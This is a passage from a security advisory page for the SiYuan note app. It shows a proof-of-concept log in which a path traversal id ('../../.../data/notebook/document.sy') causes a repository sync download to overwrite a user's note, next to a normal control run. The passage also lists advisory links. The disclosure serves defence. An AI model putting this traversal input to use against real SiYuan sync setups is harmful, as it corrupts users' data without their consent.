mode=traversal id="../../././././/data/notebook/document.sy" id_length=40
endpoint=http:// supported=true data_repo_siblings=true
caller=kernel/model/repository.go::syncRepoDownload -> Repo.SyncDownload
latest_get=/main/siyuan/repo/refs/latest index_get=/main/siyuan/data/notebook/document.sy
selected_note_changed=true selected_note_contains_zstd_remote_index=true repo_index_exists=false
coverage_hit=kernel/model/repository.go:2112 count=1

mode=control id="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" id_length=40
endpoint=http:// supported=true data_repo_siblings=true
caller=kernel/model/repository.go::syncRepoDownload -> Repo.SyncDownload
latest_get=/main/siyuan/repo/refs/latest index_get=/main/siyuan/repo/indexes/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
selected_note_changed=false selected_note_contains_zstd_remote_index=false repo_index_exists=true
coverage_hit=kernel/model/repository.go:2112 count=1
```

## References

- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-24v5-vjqf-qhv9

Page: https://cve.now/GHSA-24V5-VJQF-QHV9

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
